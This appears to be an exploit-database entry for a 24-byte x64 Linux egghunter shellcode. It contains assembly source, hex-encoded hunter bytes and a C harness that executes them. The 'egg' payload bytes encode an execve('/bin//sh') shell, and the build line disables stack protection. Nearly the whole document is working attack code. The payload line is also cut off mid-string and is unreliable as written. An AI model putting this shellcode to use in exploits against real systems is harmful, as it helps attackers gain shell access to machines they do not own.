[] NeoSense

Linux/x64 - Egghunter (0x6b634068) Shellcode (24 bytes)

Author: d4sh&r
type: 
platform: linux_x86-64
port: 24.0
date_added: 2015-11-16 
date_updated: 2018-01-18 
verified: 0 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

/*
;Title:            x64 Linux egghunter in 24 bytes
;Author:           David Velázquez a.k.a d4sh&r
;Contact:          https://mx.linkedin.com/in/d4v1dvc
;Description:      x64 Linux egghunter that looks for the string "h@ckh@ck"
;                  and then execute the shellcode
;Tested On:        Linux kali64 3.18.0-kali3-amd64 x86_64 GNU/Linux

;Compile & Run:    nasm -f elf64 -o egghunter.o egghunter.nasm
;                  ld -o egghunter egghunter.o
;SLAE64-1379

global _start

_start:
    pop rax  ; some address in the stack
search:
        inc rax
        cmp [rax - 4] , dword 0x6b634068 ; "h@ck"
jnz search
        cmp [rax - 8] , dword 0x6b634068 ; "h@ck"
jnz search
        call  rax   ; execute shellcode
*/
#include<stdio.h>
#include<string.h>
//gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
unsigned char hunter[] = "\x58\x48\xff\xc0\x81\x78\xfc\x68\x40\x63\x6b\x75\xf4\x81\x78\xf8\x68\x40\x63\x6b\x75\xeb\xff\xd0";
unsigned char egg[] = \
"\x68\x40\x63\x6b"  //egg
"\x68\x40\x63\x6b"  //egg
"\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x0$

int main()

{

        printf("Hunter Length:  %d\n", (int)strlen(hunter));

        (*(void  (*)()) hunter)();

}